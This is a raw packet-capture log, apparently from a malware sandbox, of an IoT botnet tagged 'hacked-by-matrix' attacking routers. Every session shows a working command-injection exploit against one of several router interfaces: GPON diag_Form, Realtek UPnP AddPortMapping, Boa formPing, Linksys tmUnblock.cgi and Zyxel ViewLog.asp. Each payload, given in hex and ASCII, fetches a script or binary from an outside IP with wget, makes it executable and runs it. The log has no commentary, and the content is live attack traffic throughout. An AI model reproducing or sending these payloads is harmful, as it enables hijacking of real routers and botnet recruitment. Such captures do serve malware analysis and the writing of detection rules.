Mar 21, 2024 05:22:23.526473045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	52430	93.110.189.19	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:24.033410072 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:27.247294903 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:33.392254114 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:45.424676895 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:10.257524014 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	45014	178.159.212.222	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:24.855408907 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	37978	178.135.98.82	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:24.858769894 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:28.015374899 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	38262	172.65.238.44	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.351373911 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	41642	172.65.242.114	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.439179897 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	54206	169.54.227.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.226053953 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
